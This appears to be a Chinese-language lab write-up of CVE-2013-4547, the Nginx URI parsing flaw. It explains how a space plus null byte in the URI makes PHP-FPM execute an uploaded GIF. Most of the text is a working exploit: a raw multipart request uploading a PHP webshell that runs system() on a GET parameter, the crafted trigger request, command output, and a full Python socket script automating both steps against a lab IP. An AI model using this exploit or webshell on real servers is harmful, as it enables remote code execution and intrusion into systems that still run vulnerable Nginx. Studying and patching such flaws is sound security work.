CVE-2013-4547 Nginx URI解析漏洞利用总结

漏洞信息

项目 内容
CVE编号 CVE-2013-4547
影响版本 Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.6
靶场版本 Nginx 1.4.2 + PHP 5.6.40
漏洞类型 URI解析绕过 → RCE
靶机地址 http://192.168.229.60:8080

漏洞原理

Nginx在处理URI时存在解析缺陷:当URI中含有空格字节(0x20) 和**空字节(0x00)**时,Nginx对location规则的匹配结果与传递给PHP-FPM的文件名不一致。

复制代码
请求 URI:  /uploadfiles/1.gif<0x20><0x00>.php
                     ↑ 规则匹配           ↑
    Nginx 看到 → `\.php$` 匹配成功 → 传给 PHP-FPM
    PHP-FPM 收到 → SCRIPT_FILENAME = "/var/www/html/uploadfiles/1.gif "
    PHP 执行 → `/var/www/html/uploadfiles/1.gif ` 中的代码
  • Nginx location匹配时,空字节截断字符串 → 看到 .php 就匹配了

  • 但 SCRIPT_FILENAME 只取到空格前 → 实际执行的是 1.gif(带空格的GIF文件)

  • 上传时文件名 1.gif 末尾空格绕过了 php/phtml/php5 黑名单

攻击步骤

Step 1:上传webshell(文件名末尾带空格)

原始HTTP请求:

复制代码
POST /index.php HTTP/1.1
Host: 192.168.229.60:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx
Content-Length: xxx
Connection: close
​
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="file_upload"; filename="1.gif "
Content-Type: text/plain
​
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundaryxxx--

关键点: filename="1.gif " 末尾的空格 不能丢,pathinfo()检测到扩展名是 gif(非php)→ 上传成功。

Step 2:触发漏洞执行

Burp Suite操作(Hex模式):

  1. 在Repeater中切换到Hex视图

  2. 写出请求行:

    复制代码
    GET /uploadfiles/1.gif HTTP/1.1
  3. 在 1.gif 后面添加3个字节:20(空格) 00(空字节) → 然后接 .php

  4. 最终URI原始字节:

    复制代码
    /uploadfiles/1.gif<0x20><0x00>.php?cmd=id

完整请求:

复制代码
GET /uploadfiles/1.gif<0x20><0x00>.php?cmd=id HTTP/1.1
Host: 192.168.229.60:8080
Connection: close

注意: <0x20>和<0x00>是原始字节 ,不是URL编码的%20%00!

Step 3:验证RCE

复制代码
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Python版完整利用脚本

复制代码
import socket, urllib.parse
​
# 1. 上传webshell(原始socket确保文件名空格保留)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.229.60', 8080))
​
boundary = b'----Boundary7MA4YWxkTrZu0gW'
php_code = b'<?php system($_GET["cmd"]); ?>'
​
body = b''
body += b'--' + boundary + b'\r\n'
body += b'Content-Disposition: form-data; name="file_upload"; filename="1.gif "\r\n'
body += b'Content-Type: text/plain\r\n\r\n'
body += php_code + b'\r\n'
body += b'--' + boundary + b'--\r\n'
​
req = b'POST /index.php HTTP/1.1\r\n'
req += b'Host: 192.168.229.60:8080\r\n'
req += b'Content-Type: multipart/form-data; boundary=' + boundary + b'\r\n'
req += b'Content-Length: ' + str(len(body)).encode() + b'\r\n'
req += b'Connection: close\r\n\r\n'
req += body
s.send(req)
s.close()
​
# 2. 利用CVE触发执行命令
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.229.60', 8080))
​
cmd = 'id'
uri = b'/uploadfiles/1.gif\x20\x00.php?cmd=' + urllib.parse.quote(cmd).encode()
​
req = b'GET ' + uri + b' HTTP/1.1\r\n'
req += b'Host: 192.168.229.60:8080\r\n'
req += b'Connection: close\r\n\r\n'
s.send(req)
​
resp = b''
while True:
    d = s.recv(4096)
    if not d: break
    resp += d
s.close()
​
print(resp.decode('utf-8', errors='replace'))

关键要点总结

  1. ✅ 空格+空字节 是漏洞核心,必须用原始字节发送

  2. ✅ 上传文件名末尾必须带空格(文件系统支持)

  3. ✅ PHP的pathinfo()不会trim空格 → 扩展名校验绕过

  4. ✅ Nginx 1.4.2 location匹配被空字节截断 → 认为以.php结尾

  5. ✅ PHP-FPM收到的文件名是带空格版本 → 能找到实际文件并执行

  6. ⚠️ 普通curl的-F参数会trim掉文件名末尾空格 → 必须用原始socket发送

相关推荐
AIsoft_86891 天前
职场音频文件怎么整理?录音APP有哪些用法
android·音视频
booboosui1 天前
第一批个人 Agent 用户正在卸载,问题不在模型,在它住在哪儿
android
洞见前行1 天前
点击图标到内容出现,你的 App 在这几秒里做了什么:Android 冷启动全链路优化实战
android·性能优化·android studio
凯基迪科技1 天前
芯片UID绑定修改 加密与逆向修改思路分析
android
Liben1 天前
Weex开发踩坑记录
android·前端·ios
救救孩子把1 天前
结构化输出为何“格式正确、答案错误”?JSON Schema 的能力边界
android·java·json·agent·agent服务
张小姐的猫1 天前
【MySQL】事务
android·mysql·adb
你看我名字1 天前
数眼智能 Search + Reader 实战:联网问答怎样避免“搜到了,却引用错了”
android·java·开发语言
恋猫de小郭1 天前
最近 Android 有什么更新:Android Dev Summit 2026 技术解读
android·前端·flutter
Kapaseker1 天前
删掉 1.1 万行 C 代码,Rust 正式接手 Android Binder
android·rust